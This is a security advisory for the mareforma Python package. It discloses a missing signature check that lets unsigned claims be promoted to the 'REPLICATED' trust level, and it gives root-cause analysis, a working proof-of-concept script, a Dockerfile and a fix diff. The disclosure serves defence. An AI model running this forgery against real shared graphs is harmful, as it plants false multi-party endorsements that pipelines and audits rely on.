GHSA-8776-QF3H-26R3
Vulnerability from github – Published: 2026-11-19 16:07 – Updated: 2026-11-19 16:07Summary
mareforma 0.3.3 contains a critical integrity flaw in the REPLICATED convergence logic (_maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319). The peer-selection SQL query that determines whether two independent claims "agree" on the same anchor does not verify that either claim carries a valid cryptographic signature from an enrolled validator key. Because rekor_enabled=False is the default and automatically sets transparency_logged=1 at insert time, every claim — signed or not — immediately satisfies the convergence precondition. An attacker with no Mareforma key can write an unsigned claim to a shared graph, cause it to converge with a legitimate signed peer claim, and have it promoted to REPLICATED status. The forged REPLICATED row is then returned by the default trust query (graph.query(min_support="REPLICATED")), allowing the attacker to inject false trust signals into any downstream consumer relying on REPLICATED as a multi-party endorsement guarantee.
Details
Root cause — mareforma/db/core.py:1300-1319
The convergence function _maybe_update_replicated_unlocked() selects peer claims using a SQL query that filters on status, unresolved, transparency_logged, and artifact_hash, but contains no predicate on signature_bundle or enrolled-key identity:
# mareforma/db/core.py:1300-1319
rows = conn.execute(
f"""
SELECT DISTINCT c.claim_id, c.generated_by
FROM claims c, json_each(c.supports_json) j
WHERE j.value IN ({placeholders})
AND c.claim_id != ?
AND c.generated_by != ?
AND c.support_level != 'ESTABLISHED'
AND c.status = 'open'
AND c.unresolved = 0
AND c.transparency_logged = 1
AND (
c.artifact_hash IS NULL
OR ? IS NULL
OR c.artifact_hash = ?
)
""",
Once peer rows are collected, the sink at core.py:1324-1334 promotes all matching claim IDs — including the attacker's — to REPLICATED without any additional validation.
Why the preconditions are trivially satisfied
transparency_logged = 1is set automatically. Whenrekor_enabled=False(the library default),core.py:1061setstransparency_logged = 1immediately after insert. There is no Rekor step, so every claim becomes convergence-eligible the moment it is written.require_signed=Falseis the default.mareforma/__init__.py:41defaultsrequire_signedtoFalse. When the attacker opens the graph with a non-existent key path,__init__.py:132-138silently setssigner = None, enabling unsigned claim insertion.assert_claim()performs no signature gate._graph.py:284-291only validates DOI resolution on thesupportslist before forwarding attacker-controlled fields to_db.add_claim()(_graph.py:373-380).
Why the forged claim surfaces in trust queries
The default query path at core.py:3647-3650 filters out only PRELIMINARY claims whose generator is not enrolled. Claims at REPLICATED status are returned unconditionally, so the unsigned forged row is indistinguishable from a legitimately converged row in any downstream consumer.
The helper that should have been called
core.py:3661-3669 contains _extract_signature_bundle_keyid(), which can extract the key ID from a signature_bundle. This helper exists but is never invoked on the convergence path, indicating the validation was inadvertently omitted rather than a design decision.
Complete data flow (source → sink)
| Step | Location | Description |
|---|---|---|
| 1 | cli.py:700-739 |
CLI accepts arbitrary TEXT, --supports, --generated-by; lines 720-723 explicitly permit unsigned graph mode |
| 2 | __init__.py:128-138 |
Missing key file → signer = None (no error raised) |
| 3 | _graph.py:284-291 |
assert_claim() forwards user-controlled supports after DOI check only |
| 4 | _graph.py:373-380 |
Calls _db.add_claim() with attacker-controlled claim fields |
| 5 | db/core.py:1208-1214 |
Post-insert convergence triggered when unresolved == False and transparency_logged == 1 |
| 6 | db/core.py:1300-1319 |
Peer-selection SQL — no signature_bundle or enrolled-key check (vulnerable sink) |
| 7 | db/core.py:1324-1334 |
Updates peer and attacker claims to REPLICATED |
| 8 | db/core.py:3647-3650 |
Default query returns REPLICATED rows without signature validation |
PoC
Prerequisites
python3 -m venv /tmp/mareforma-poc
/tmp/mareforma-poc/bin/pip install mareforma==0.3.3
Or run the fully self-contained Docker image:
# Build (from the repository root, with the local repo mounted under ./repo)
docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .
# Run (no network required)
docker run --rm --network none mareforma-vuln001
Step-by-step attack
#!/usr/bin/env python3
from pathlib import Path
from tempfile import TemporaryDirectory
import mareforma
from mareforma import signing
with TemporaryDirectory() as td:
root = Path(td)
key_path = root / "root-key.pem"
# Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
signing.bootstrap_key(key_path)
with mareforma.open(root, key_path=key_path) as g:
anchor = g.assert_claim(
"established anchor",
classification="DERIVED",
generated_by="seed/root",
seed=True,
)
# Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
honest = g.assert_claim(
"same result",
supports=[anchor],
generated_by="honest-agent",
)
# Step 3: Attacker opens the same graph with a non-existent key path.
# __init__.py:132-138 silently sets signer=None — unsigned mode.
attacker_key = root / "missing-attacker-key.pem" # does not exist
with mareforma.open(root, key_path=attacker_key) as g:
# Step 4: Attacker inserts an unsigned claim supporting the same anchor.
# Convergence fires in _maybe_update_replicated_unlocked():
# - Two claims share the same ESTABLISHED anchor
# - Different generated_by values
# - Both have transparency_logged=1 (Rekor disabled by default)
# - No signature or enrollment check performed
attack = g.assert_claim(
"forged convergence",
supports=[anchor],
generated_by="attacker-agent",
)
attack_info = g.get_claim(attack)
print(attack_info["support_level"]) # → REPLICATED
print(attack_info["signature_bundle"] is None) # → True (unsigned)
# Step 5: The unsigned REPLICATED claim appears in the default trust query.
results = g.query(min_support="REPLICATED")
for r in results:
print((r["text"], r["support_level"],
r["signature_bundle"] is None, r["generator_enrolled"]))
Expected output
REPLICATED
True
('established anchor', 'ESTABLISHED', False, True)
('forged convergence', 'REPLICATED', True, False) # ← unsigned, unenrolled
('same result', 'REPLICATED', False, True)
The forged claim (signature_bundle=None, generator_enrolled=False) is promoted to REPLICATED and returned alongside legitimately signed claims.
Remediation
The convergence path must require both the incoming claim and every selected peer claim to carry a valid signature_bundle signed by a distinct enrolled validator key:
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
- new_status_row = conn.execute(
- "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+ new_status_row = conn.execute(
+ "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+ (new_claim_id,),
).fetchone()
if new_status_row is None or new_status_row["status"] != "open":
return
+ from mareforma import validators as _validators
+ new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+ return
@@
- SELECT DISTINCT c.claim_id, c.generated_by
+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
- if not rows:
+ peer_ids = []
+ for row in rows:
+ peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+ if peer_keyid is None or peer_keyid == new_keyid:
+ continue
+ if not _validators.is_enrolled(conn, peer_keyid):
+ continue
+ peer_ids.append(row["claim_id"])
+
+ if not peer_ids:
return
- peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+ peer_ids = peer_ids + [new_claim_id]
Impact
This is an integrity bypass vulnerability (CWE-347: Improper Verification of Cryptographic Signature). REPLICATED is mareforma's primary multi-party trust signal, intended to convey that at least two independent, enrolled validators have independently observed and signed the same result. By silently bypassing the signature and enrollment checks in the convergence path, the library allows any local agent — with no cryptographic credentials — to forge this trust signal.
Who is impacted: Any user or system that queries a mareforma graph with min_support="REPLICATED" and treats the result as evidence of multi-party validation. This includes automated pipelines, audit dashboards, policy engines, or downstream consumers that rely on REPLICATED status to gate trust decisions (e.g., accepting a dataset, approving a model artifact, or publishing a result).
Because the forged claim is indistinguishable from a legitimately converged claim in query results, consumers cannot detect the attack without out-of-band inspection of signature_bundle and generator_enrolled fields — fields that the library's default query interface does not surface prominently.
The vulnerability is exploitable in the default configuration: require_signed=False, rekor_enabled=False. The attack requires only local write access to a shared graph database (e.g., a shared filesystem or writable network mount) and no Mareforma key.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)"
LABEL version="0.3.3"
WORKDIR /app
# Copy the local repository and install from source
COPY repo /app/repo
RUN pip install --no-cache-dir /app/repo
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement
CWE-347: Improper Verification of Cryptographic Signature
CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Root cause:
_maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects
peer claims for convergence without checking signature_bundle or enrolled-key
identity. When rekor_enabled=False (the default), transparency_logged is set
to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for
the convergence query. An attacker with no key can therefore write an unsigned
claim that converges with a legitimate signed peer claim and is promoted to
REPLICATED status. The forged REPLICATED row is then returned by the default
query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.
Attack steps:
1. Honest root agent bootstraps a key; auto-enrolls as root validator on first
graph open; asserts an ESTABLISHED seed anchor claim.
2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.
3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not
exist → signer=None per __init__.py:132-138).
4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.
5. Convergence fires: two claims, same ESTABLISHED anchor, different
generated_by, both have transparency_logged=1 (Rekor disabled).
6. Both claims are promoted to REPLICATED. No signature check is performed.
7. graph.query(min_support="REPLICATED") returns the unsigned forged claim.
Expected evidence (deterministic exit code 0):
- attack claim support_level == "REPLICATED"
- attack claim signature_bundle is None (unsigned)
- attack claim generator_enrolled == False
- forged unsigned REPLICATED claim appears in query results
"""
import sys
from pathlib import Path
from tempfile import TemporaryDirectory
import mareforma
from mareforma import signing
SEPARATOR = "-" * 70
def banner(msg: str) -> None:
print(f"\n{SEPARATOR}")
print(f" {msg}")
print(SEPARATOR)
def main() -> int:
print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)")
print(f"mareforma version: {mareforma.__version__}")
with TemporaryDirectory() as td:
root = Path(td)
key_path = root / "root-key.pem"
# ------------------------------------------------------------------
# Step 1: Bootstrap a key for the legitimate root agent.
# On first graph open, this key auto-enrolls as the root
# validator, which is required for seed=True.
# ------------------------------------------------------------------
banner("Step 1: Bootstrap signing key for honest root agent")
signing.bootstrap_key(key_path)
print(f" Key path : {key_path}")
print(f" Exists : {key_path.exists()}")
# ------------------------------------------------------------------
# Step 2: Honest root agent creates an ESTABLISHED anchor.
# Uses seed=True, which requires an enrolled validator.
# The first open() with a fresh key auto-enrolls it.
# ------------------------------------------------------------------
banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim")
with mareforma.open(root, key_path=key_path) as g:
anchor = g.assert_claim(
"established anchor",
classification="DERIVED",
generated_by="seed/root",
seed=True,
)
anchor_info = g.get_claim(anchor)
print(f" anchor claim_id : {anchor}")
print(f" anchor support_level: {anchor_info['support_level']}")
assert anchor_info["support_level"] == "ESTABLISHED", (
f"Unexpected anchor level: {anchor_info['support_level']}"
)
# Honest agent adds a signed peer claim supporting the anchor.
honest = g.assert_claim(
"same result",
supports=[anchor],
generated_by="honest-agent",
)
honest_info = g.get_claim(honest)
print(f" honest claim_id : {honest}")
print(f" honest support_level: {honest_info['support_level']}")
print(f" honest signed : {honest_info['signature_bundle'] is not None}")
# ------------------------------------------------------------------
# Step 3: Attacker opens the graph with a non-existent key.
# __init__.py:132-138: missing file → signer=None (unsigned mode).
# ------------------------------------------------------------------
banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode")
attacker_key = root / "missing-attacker-key.pem"
print(f" Attacker key path: {attacker_key}")
print(f" Attacker key exists: {attacker_key.exists()} (intentionally absent)")
with mareforma.open(root, key_path=attacker_key) as g:
# Step 4: Attacker asserts an unsigned claim with the same anchor.
# Convergence logic fires: two claims, same ESTABLISHED
# anchor, different generated_by, both transparency_logged=1.
banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence")
attack = g.assert_claim(
"forged convergence",
supports=[anchor],
generated_by="attacker-agent",
)
attack_info = g.get_claim(attack)
attack_support_level = attack_info["support_level"]
attack_unsigned = attack_info["signature_bundle"] is None
attack_enrolled = attack_info.get("generator_enrolled", False)
print(f" attack claim_id : {attack}")
print(f" attack support_level : {attack_support_level}")
print(f" attack unsigned : {attack_unsigned} (signature_bundle is None)")
print(f" attack enrolled : {attack_enrolled}")
# Step 5: Verify the unsigned REPLICATED claim appears in the
# default query that consumers rely on for trust decisions.
banner("Step 5: Query min_support='REPLICATED' — should include forged claim")
results = g.query(min_support="REPLICATED")
print(f" Total REPLICATED results: {len(results)}")
forged_in_results = False
for r in results:
is_forged = (
r["signature_bundle"] is None
and r.get("generator_enrolled") is False
and r["support_level"] == "REPLICATED"
)
marker = " [FORGED]" if is_forged else " "
print(
f"{marker} text={r['text']!r:30s} "
f"level={r['support_level']:12s} "
f"unsigned={r['signature_bundle'] is None!s:5s} "
f"enrolled={r.get('generator_enrolled', '?')}"
)
if is_forged:
forged_in_results = True
# ------------------------------------------------------------------
# Verdict
# ------------------------------------------------------------------
banner("Verdict")
conditions = {
"attack claim support_level == REPLICATED": attack_support_level == "REPLICATED",
"attack claim is UNSIGNED (signature_bundle is None)": attack_unsigned,
"attack generator_enrolled == False": attack_enrolled is False,
"forged REPLICATED claim visible in query results": forged_in_results,
}
all_pass = True
for desc, result in conditions.items():
status = "PASS" if result else "FAIL"
print(f" [{status}] {desc}")
if not result:
all_pass = False
if all_pass:
print(
"\n [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n"
" An attacker without any key can forge graph trust.\n"
" The convergence path (core.py:1300-1319) does not check\n"
" signature_bundle or enrolled-key identity."
)
return 0
else:
print(
"\n [NOT TRIGGERED] One or more conditions failed.\n"
" Vulnerability may have been patched or env differs."
)
return 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mareforma"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71535"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T16:07:36Z",
"nvd_published_at": "2026-11-18T23:17:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`mareforma` 0.3.3 contains a critical integrity flaw in the REPLICATED convergence logic (`_maybe_update_replicated_unlocked()` in `mareforma/db/core.py:1300-1319`). The peer-selection SQL query that determines whether two independent claims \"agree\" on the same anchor does not verify that either claim carries a valid cryptographic signature from an enrolled validator key. Because `rekor_enabled=False` is the default and automatically sets `transparency_logged=1` at insert time, every claim \u2014 signed or not \u2014 immediately satisfies the convergence precondition. An attacker with no Mareforma key can write an unsigned claim to a shared graph, cause it to converge with a legitimate signed peer claim, and have it promoted to `REPLICATED` status. The forged `REPLICATED` row is then returned by the default trust query (`graph.query(min_support=\"REPLICATED\")`), allowing the attacker to inject false trust signals into any downstream consumer relying on `REPLICATED` as a multi-party endorsement guarantee.\n\n### Details\n\n**Root cause \u2014 `mareforma/db/core.py:1300-1319`**\n\nThe convergence function `_maybe_update_replicated_unlocked()` selects peer claims using a SQL query that filters on `status`, `unresolved`, `transparency_logged`, and `artifact_hash`, but contains no predicate on `signature_bundle` or enrolled-key identity:\n\n```python\n# mareforma/db/core.py:1300-1319\nrows = conn.execute(\n f\"\"\"\n SELECT DISTINCT c.claim_id, c.generated_by\n FROM claims c, json_each(c.supports_json) j\n WHERE j.value IN ({placeholders})\n AND c.claim_id != ?\n AND c.generated_by != ?\n AND c.support_level != \u0027ESTABLISHED\u0027\n AND c.status = \u0027open\u0027\n AND c.unresolved = 0\n AND c.transparency_logged = 1\n AND (\n c.artifact_hash IS NULL\n OR ? IS NULL\n OR c.artifact_hash = ?\n )\n \"\"\",\n```\n\nOnce peer rows are collected, the sink at `core.py:1324-1334` promotes all matching claim IDs \u2014 including the attacker\u0027s \u2014 to `REPLICATED` without any additional validation.\n\n**Why the preconditions are trivially satisfied**\n\n1. **`transparency_logged = 1` is set automatically.** When `rekor_enabled=False` (the library default), `core.py:1061` sets `transparency_logged = 1` immediately after insert. There is no Rekor step, so every claim becomes convergence-eligible the moment it is written.\n2. **`require_signed=False` is the default.** `mareforma/__init__.py:41` defaults `require_signed` to `False`. When the attacker opens the graph with a non-existent key path, `__init__.py:132-138` silently sets `signer = None`, enabling unsigned claim insertion.\n3. **`assert_claim()` performs no signature gate.** `_graph.py:284-291` only validates DOI resolution on the `supports` list before forwarding attacker-controlled fields to `_db.add_claim()` (`_graph.py:373-380`).\n\n**Why the forged claim surfaces in trust queries**\n\nThe default query path at `core.py:3647-3650` filters out only `PRELIMINARY` claims whose generator is not enrolled. Claims at `REPLICATED` status are returned unconditionally, so the unsigned forged row is indistinguishable from a legitimately converged row in any downstream consumer.\n\n**The helper that should have been called**\n\n`core.py:3661-3669` contains `_extract_signature_bundle_keyid()`, which can extract the key ID from a `signature_bundle`. This helper exists but is never invoked on the convergence path, indicating the validation was inadvertently omitted rather than a design decision.\n\n**Complete data flow (source \u2192 sink)**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cli.py:700-739` | CLI accepts arbitrary `TEXT`, `--supports`, `--generated-by`; lines 720-723 explicitly permit unsigned graph mode |\n| 2 | `__init__.py:128-138` | Missing key file \u2192 `signer = None` (no error raised) |\n| 3 | `_graph.py:284-291` | `assert_claim()` forwards user-controlled `supports` after DOI check only |\n| 4 | `_graph.py:373-380` | Calls `_db.add_claim()` with attacker-controlled claim fields |\n| 5 | `db/core.py:1208-1214` | Post-insert convergence triggered when `unresolved == False` and `transparency_logged == 1` |\n| 6 | `db/core.py:1300-1319` | **Peer-selection SQL \u2014 no `signature_bundle` or enrolled-key check (vulnerable sink)** |\n| 7 | `db/core.py:1324-1334` | Updates peer and attacker claims to `REPLICATED` |\n| 8 | `db/core.py:3647-3650` | Default query returns `REPLICATED` rows without signature validation |\n\n### PoC\n\n**Prerequisites**\n\n```bash\npython3 -m venv /tmp/mareforma-poc\n/tmp/mareforma-poc/bin/pip install mareforma==0.3.3\n```\n\nOr run the fully self-contained Docker image:\n\n```bash\n# Build (from the repository root, with the local repo mounted under ./repo)\ndocker build -f vuln-001/Dockerfile -t mareforma-vuln001 .\n\n# Run (no network required)\ndocker run --rm --network none mareforma-vuln001\n```\n\n**Step-by-step attack**\n\n```python\n#!/usr/bin/env python3\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport mareforma\nfrom mareforma import signing\n\nwith TemporaryDirectory() as td:\n root = Path(td)\n key_path = root / \"root-key.pem\"\n\n # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.\n signing.bootstrap_key(key_path)\n with mareforma.open(root, key_path=key_path) as g:\n anchor = g.assert_claim(\n \"established anchor\",\n classification=\"DERIVED\",\n generated_by=\"seed/root\",\n seed=True,\n )\n # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.\n honest = g.assert_claim(\n \"same result\",\n supports=[anchor],\n generated_by=\"honest-agent\",\n )\n\n # Step 3: Attacker opens the same graph with a non-existent key path.\n # __init__.py:132-138 silently sets signer=None \u2014 unsigned mode.\n attacker_key = root / \"missing-attacker-key.pem\" # does not exist\n with mareforma.open(root, key_path=attacker_key) as g:\n # Step 4: Attacker inserts an unsigned claim supporting the same anchor.\n # Convergence fires in _maybe_update_replicated_unlocked():\n # - Two claims share the same ESTABLISHED anchor\n # - Different generated_by values\n # - Both have transparency_logged=1 (Rekor disabled by default)\n # - No signature or enrollment check performed\n attack = g.assert_claim(\n \"forged convergence\",\n supports=[anchor],\n generated_by=\"attacker-agent\",\n )\n\n attack_info = g.get_claim(attack)\n print(attack_info[\"support_level\"]) # \u2192 REPLICATED\n print(attack_info[\"signature_bundle\"] is None) # \u2192 True (unsigned)\n\n # Step 5: The unsigned REPLICATED claim appears in the default trust query.\n results = g.query(min_support=\"REPLICATED\")\n for r in results:\n print((r[\"text\"], r[\"support_level\"],\n r[\"signature_bundle\"] is None, r[\"generator_enrolled\"]))\n```\n\n**Expected output**\n\n```\nREPLICATED\nTrue\n(\u0027established anchor\u0027, \u0027ESTABLISHED\u0027, False, True)\n(\u0027forged convergence\u0027, \u0027REPLICATED\u0027, True, False) # \u2190 unsigned, unenrolled\n(\u0027same result\u0027, \u0027REPLICATED\u0027, False, True)\n```\n\nThe forged claim (`signature_bundle=None`, `generator_enrolled=False`) is promoted to `REPLICATED` and returned alongside legitimately signed claims.\n\n**Remediation**\n\nThe convergence path must require both the incoming claim and every selected peer claim to carry a valid `signature_bundle` signed by a distinct enrolled validator key:\n\n```diff\n--- a/mareforma/db/core.py\n+++ b/mareforma/db/core.py\n@@\n- new_status_row = conn.execute(\n- \"SELECT status FROM claims WHERE claim_id = ?\", (new_claim_id,),\n+ new_status_row = conn.execute(\n+ \"SELECT status, signature_bundle FROM claims WHERE claim_id = ?\",\n+ (new_claim_id,),\n ).fetchone()\n if new_status_row is None or new_status_row[\"status\"] != \"open\":\n return\n+ from mareforma import validators as _validators\n+ new_keyid = _extract_signature_bundle_keyid(new_status_row[\"signature_bundle\"])\n+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):\n+ return\n@@\n- SELECT DISTINCT c.claim_id, c.generated_by\n+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle\n@@\n- if not rows:\n+ peer_ids = []\n+ for row in rows:\n+ peer_keyid = _extract_signature_bundle_keyid(row[\"signature_bundle\"])\n+ if peer_keyid is None or peer_keyid == new_keyid:\n+ continue\n+ if not _validators.is_enrolled(conn, peer_keyid):\n+ continue\n+ peer_ids.append(row[\"claim_id\"])\n+\n+ if not peer_ids:\n return\n \n- peer_ids = [r[\"claim_id\"] for r in rows] + [new_claim_id]\n+ peer_ids = peer_ids + [new_claim_id]\n```\n\n### Impact\n\nThis is an **integrity bypass** vulnerability (CWE-347: Improper Verification of Cryptographic Signature). `REPLICATED` is mareforma\u0027s primary multi-party trust signal, intended to convey that at least two independent, enrolled validators have independently observed and signed the same result. By silently bypassing the signature and enrollment checks in the convergence path, the library allows any local agent \u2014 with no cryptographic credentials \u2014 to forge this trust signal.\n\n**Who is impacted:** Any user or system that queries a mareforma graph with `min_support=\"REPLICATED\"` and treats the result as evidence of multi-party validation. This includes automated pipelines, audit dashboards, policy engines, or downstream consumers that rely on `REPLICATED` status to gate trust decisions (e.g., accepting a dataset, approving a model artifact, or publishing a result).\n\nBecause the forged claim is indistinguishable from a legitimately converged claim in query results, consumers cannot detect the attack without out-of-band inspection of `signature_bundle` and `generator_enrolled` fields \u2014 fields that the library\u0027s default query interface does not surface prominently.\n\nThe vulnerability is exploitable in the default configuration: `require_signed=False`, `rekor_enabled=False`. The attack requires only local write access to a shared graph database (e.g., a shared filesystem or writable network mount) and no Mareforma key.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nLABEL description=\"VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)\"\nLABEL version=\"0.3.3\"\n\nWORKDIR /app\n\n# Copy the local repository and install from source\nCOPY repo /app/repo\nRUN pip install --no-cache-dir /app/repo\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept\nTitle: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement\nCWE-347: Improper Verification of Cryptographic Signature\nCVSS: 7.1 (High) \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N\n\nRoot cause:\n _maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects\n peer claims for convergence without checking signature_bundle or enrolled-key\n identity. When rekor_enabled=False (the default), transparency_logged is set\n to 1 immediately (core.py:1061), so every claim\u2014signed or not\u2014is eligible for\n the convergence query. An attacker with no key can therefore write an unsigned\n claim that converges with a legitimate signed peer claim and is promoted to\n REPLICATED status. The forged REPLICATED row is then returned by the default\n query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.\n\nAttack steps:\n 1. Honest root agent bootstraps a key; auto-enrolls as root validator on first\n graph open; asserts an ESTABLISHED seed anchor claim.\n 2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.\n 3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not\n exist \u2192 signer=None per __init__.py:132-138).\n 4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.\n 5. Convergence fires: two claims, same ESTABLISHED anchor, different\n generated_by, both have transparency_logged=1 (Rekor disabled).\n 6. Both claims are promoted to REPLICATED. No signature check is performed.\n 7. graph.query(min_support=\"REPLICATED\") returns the unsigned forged claim.\n\nExpected evidence (deterministic exit code 0):\n - attack claim support_level == \"REPLICATED\"\n - attack claim signature_bundle is None (unsigned)\n - attack claim generator_enrolled == False\n - forged unsigned REPLICATED claim appears in query results\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport mareforma\nfrom mareforma import signing\n\n\nSEPARATOR = \"-\" * 70\n\n\ndef banner(msg: str) -\u003e None:\n print(f\"\\n{SEPARATOR}\")\n print(f\" {msg}\")\n print(SEPARATOR)\n\n\ndef main() -\u003e int:\n print(\"VULN-001 PoC \u2014 Unsigned Claims Promoted to REPLICATED (CWE-347)\")\n print(f\"mareforma version: {mareforma.__version__}\")\n\n with TemporaryDirectory() as td:\n root = Path(td)\n key_path = root / \"root-key.pem\"\n\n # ------------------------------------------------------------------\n # Step 1: Bootstrap a key for the legitimate root agent.\n # On first graph open, this key auto-enrolls as the root\n # validator, which is required for seed=True.\n # ------------------------------------------------------------------\n banner(\"Step 1: Bootstrap signing key for honest root agent\")\n signing.bootstrap_key(key_path)\n print(f\" Key path : {key_path}\")\n print(f\" Exists : {key_path.exists()}\")\n\n # ------------------------------------------------------------------\n # Step 2: Honest root agent creates an ESTABLISHED anchor.\n # Uses seed=True, which requires an enrolled validator.\n # The first open() with a fresh key auto-enrolls it.\n # ------------------------------------------------------------------\n banner(\"Step 2: Honest root agent \u2014 create ESTABLISHED anchor + signed peer claim\")\n with mareforma.open(root, key_path=key_path) as g:\n anchor = g.assert_claim(\n \"established anchor\",\n classification=\"DERIVED\",\n generated_by=\"seed/root\",\n seed=True,\n )\n anchor_info = g.get_claim(anchor)\n print(f\" anchor claim_id : {anchor}\")\n print(f\" anchor support_level: {anchor_info[\u0027support_level\u0027]}\")\n assert anchor_info[\"support_level\"] == \"ESTABLISHED\", (\n f\"Unexpected anchor level: {anchor_info[\u0027support_level\u0027]}\"\n )\n\n # Honest agent adds a signed peer claim supporting the anchor.\n honest = g.assert_claim(\n \"same result\",\n supports=[anchor],\n generated_by=\"honest-agent\",\n )\n honest_info = g.get_claim(honest)\n print(f\" honest claim_id : {honest}\")\n print(f\" honest support_level: {honest_info[\u0027support_level\u0027]}\")\n print(f\" honest signed : {honest_info[\u0027signature_bundle\u0027] is not None}\")\n\n # ------------------------------------------------------------------\n # Step 3: Attacker opens the graph with a non-existent key.\n # __init__.py:132-138: missing file \u2192 signer=None (unsigned mode).\n # ------------------------------------------------------------------\n banner(\"Step 3: Attacker opens graph WITHOUT a key \u2014 unsigned mode\")\n attacker_key = root / \"missing-attacker-key.pem\"\n print(f\" Attacker key path: {attacker_key}\")\n print(f\" Attacker key exists: {attacker_key.exists()} (intentionally absent)\")\n\n with mareforma.open(root, key_path=attacker_key) as g:\n # Step 4: Attacker asserts an unsigned claim with the same anchor.\n # Convergence logic fires: two claims, same ESTABLISHED\n # anchor, different generated_by, both transparency_logged=1.\n banner(\"Step 4: Attacker inserts UNSIGNED claim \u2014 triggers convergence\")\n attack = g.assert_claim(\n \"forged convergence\",\n supports=[anchor],\n generated_by=\"attacker-agent\",\n )\n\n attack_info = g.get_claim(attack)\n attack_support_level = attack_info[\"support_level\"]\n attack_unsigned = attack_info[\"signature_bundle\"] is None\n attack_enrolled = attack_info.get(\"generator_enrolled\", False)\n\n print(f\" attack claim_id : {attack}\")\n print(f\" attack support_level : {attack_support_level}\")\n print(f\" attack unsigned : {attack_unsigned} (signature_bundle is None)\")\n print(f\" attack enrolled : {attack_enrolled}\")\n\n # Step 5: Verify the unsigned REPLICATED claim appears in the\n # default query that consumers rely on for trust decisions.\n banner(\"Step 5: Query min_support=\u0027REPLICATED\u0027 \u2014 should include forged claim\")\n results = g.query(min_support=\"REPLICATED\")\n print(f\" Total REPLICATED results: {len(results)}\")\n forged_in_results = False\n for r in results:\n is_forged = (\n r[\"signature_bundle\"] is None\n and r.get(\"generator_enrolled\") is False\n and r[\"support_level\"] == \"REPLICATED\"\n )\n marker = \" [FORGED]\" if is_forged else \" \"\n print(\n f\"{marker} text={r[\u0027text\u0027]!r:30s} \"\n f\"level={r[\u0027support_level\u0027]:12s} \"\n f\"unsigned={r[\u0027signature_bundle\u0027] is None!s:5s} \"\n f\"enrolled={r.get(\u0027generator_enrolled\u0027, \u0027?\u0027)}\"\n )\n if is_forged:\n forged_in_results = True\n\n # ------------------------------------------------------------------\n # Verdict\n # ------------------------------------------------------------------\n banner(\"Verdict\")\n conditions = {\n \"attack claim support_level == REPLICATED\": attack_support_level == \"REPLICATED\",\n \"attack claim is UNSIGNED (signature_bundle is None)\": attack_unsigned,\n \"attack generator_enrolled == False\": attack_enrolled is False,\n \"forged REPLICATED claim visible in query results\": forged_in_results,\n }\n all_pass = True\n for desc, result in conditions.items():\n status = \"PASS\" if result else \"FAIL\"\n print(f\" [{status}] {desc}\")\n if not result:\n all_pass = False\n\n if all_pass:\n print(\n \"\\n [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\\n\"\n \" An attacker without any key can forge graph trust.\\n\"\n \" The convergence path (core.py:1300-1319) does not check\\n\"\n \" signature_bundle or enrolled-key identity.\"\n )\n return 0\n else:\n print(\n \"\\n [NOT 